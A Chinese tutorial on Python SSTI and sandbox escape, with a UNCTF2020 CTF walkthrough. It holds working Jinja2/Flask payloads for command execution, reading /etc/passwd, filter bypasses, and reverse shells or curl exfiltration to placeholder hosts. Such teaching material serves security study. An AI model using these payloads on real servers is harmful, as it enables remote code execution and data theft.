前言
一、基础知识
0x00:沙盒逃逸
沙箱逃逸,就是在一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程
0x01:python的内建函数
启动python解释器时,即使没有创建任何变量或函数,还是会有很多函数可供使用,这些就是python的内建函数
dir('builtins')
即可查看当前python版本的一些内建变量、内建函数0x02:名称空间
1、内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字
2、全局名称空间:在执行文件时,存放文件级别定义的名字
3、局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效
-
内置名称空间—>全局名称空间—>局部名称空间
-
局部名称空间—>全局名称空间—>内置名称空间
builtins
模块提供内建名称空间到内建对象的映射__builtins__
是做为默认初始模块出现的,使用dir()命令查看一下__builtins__
__import__ open
0x03:类继承
python中一切均为对象,均继承于object对象,python的object类中集成了很多的基础函数,假如我们需要在payload中使用某个函数就需要用object去操作。
-
__base__
:对象的一个基类,一般情况下是object -
__mro__
:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层所以在列表中的最后,通过__mro__[-1]
可以获取到 -
__subclasses__()
:继承此对象的子类,返回一个列表
从变量->对象->基类->子类遍历->全局变量
0x04:常见payload分析
#python2''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
-
__class__
返回调用的参数类型 -
__bases__
返回类型列表 -
__globals__
以字典类型返回当前位置的全部全局变量
''
返回的是字符串类型__mro__
返回的是继承链关系__subclasses__()
返回的便是类的所有子类__init__
用传入的参数来初始化实例,使用__globals__
以字典返回内建模块site.Printer
类,而是ContextVar
类''.__class__.__mro__[-1].__subclasses__()[72]返回的是ContextVar类
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
__subclasses__()
每个字类都返回出来0x05:考察的Web框架及模板引擎
-
flask -
Tornado -
Django
handler.settings
这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一
handler.settings-> RequestHandler.application.settings
可以获取当前application.settings,从中获取到敏感信息
config 是Flask模版中的一个全局对象,代表“当前配置对象(flask.config)”,是一个类字典的对象,包含了所有应用程序的配置值。在大多数情况下,包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。
-
url_for()
— 用于反向解析,生成url -
get_flashed_messages()
— 用于获取flash消息
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{config}}
且框架是flask
的话便可以使用如下payload进行代替{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config}}
-
jinja2 -
Twig -
Smarty(PHP) -
Mako
0x06:Python常用的命令执行方式
该方法的参数就是string类型的命令,在linux上,返回值为执行命令的exit值;而windows上,返回值则是运行命令后,shell的返回值。
注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
返回的是file read的对象,如果想获取执行命令的输出,则需要调用该对象的read()方法
二、姿势汇总
0x00:做题思考
num = 0for item in ''.__class__.__mro__[-1].__subclasses__(): try: if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1
原理相同,但是python3环境变化了,例如python2下有file而python3没有,所以直接用open。
python3的利用主要索引在于builtins,找到了它便可以利用其中的eval、open等等来执行想要的操作
#!/usr/bin/python3# coding=utf-8# python 3.5#jinja2模板from flask import Flaskfrom jinja2 import Template# Some of special namessearchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]') == 'function': for goal in neededFunction: if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay != 1:
print(i.__name__,":", attr, goal) else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "("[evil]") }}{% endif %}{% endfor %}")
0x01:常见payload
#python2有file#读取密码''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()#写文件''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')#OS模块system''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()#eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#反弹shell''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具#request.environ与服务器环境相关的对象字典
#python3没有file,用的是open#文件读取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}#命令执行{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
0x02:Bypass姿势
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(#等价于().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
#使用getitem()pop()__mro__[2]== __mro__.__getitem__(2)''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
{{或}}
{%
进行绕过{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
|attr
绕过{{()|attr(request.values.a)}}&a=class
request
对象绕过,假设过滤了__class__
,可以使用下面的形式进行替代#1{{''[request.args.t1]}}&t1=__class__#若request.args改为request.values则利用post的方式进行传参#2{{''[request['args']['t1']]}}&t1=__class__#若使用POST,args换成form即可
attr()
或[]
绕过#attr(){{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}#[]{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}
reload
可以用则可以重载,从而恢复内建函数reload(__builtins__)
三、题目实践
UNCTF2020-easyflask
import requestsfrom time import sleep
dic = ['config','class', 'bases','_',''','subclasses', '[', '(', 'read', 'mro', 'init', 'globals', 'builtins', 'file', 'func_globals', 'linecache', 'system', 'values', 'import', 'module', 'call', 'name', 'getitem', 'pop', 'args', 'path', 'popen', 'eval', 'end', 'for', 'if', 'config']
pass_dic = []for i in dic:
url = "http://6f38b1e6-520d-47ff-a72b-14e481f513cb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={}".format(i)
res = requests.get(url=url).text # print(res)
# sleep(1)
if 'black list filter' in res:
pass_dic.append(i)
print(pass_dic)
' _ [ ]
,那接下来就要思考怎么去构造payload了,上面总结的payload直接拿来用肯定会被过滤,因为大多数涉及到了[
,但可以使用|attr
和request.args.xx
来绕过下划线和引号,只要明白原理,便可以使用上面的payload修改一下即可{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
{{()|attr(request.args.class)|attr(request.args.bases)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.d)(request.args.e)(request.args.f)|attr(request.args.g)()}}&class=__class__&bases=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&d=get&e=popen&f=cat flag.txt&g=read
参考博客
https://www.anquanke.com/post/id/188172
https://www.cnblogs.com/-chenxs/p/11971164.html
- 结尾 - 精彩推荐 【技术分享】从 CVE-2017-0263 漏洞分析到菜单管理组件(上) 【技术分享】Lua程序逆向之Luajit字节码与反汇编 【技术分享】2020 “第五空间” 智能安全大赛 Web Writeup 戳“阅读原文”查看更多内
原文始发于微信公众号(安全客):【技术分享】浅析Python SSTI/沙盒逃逸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论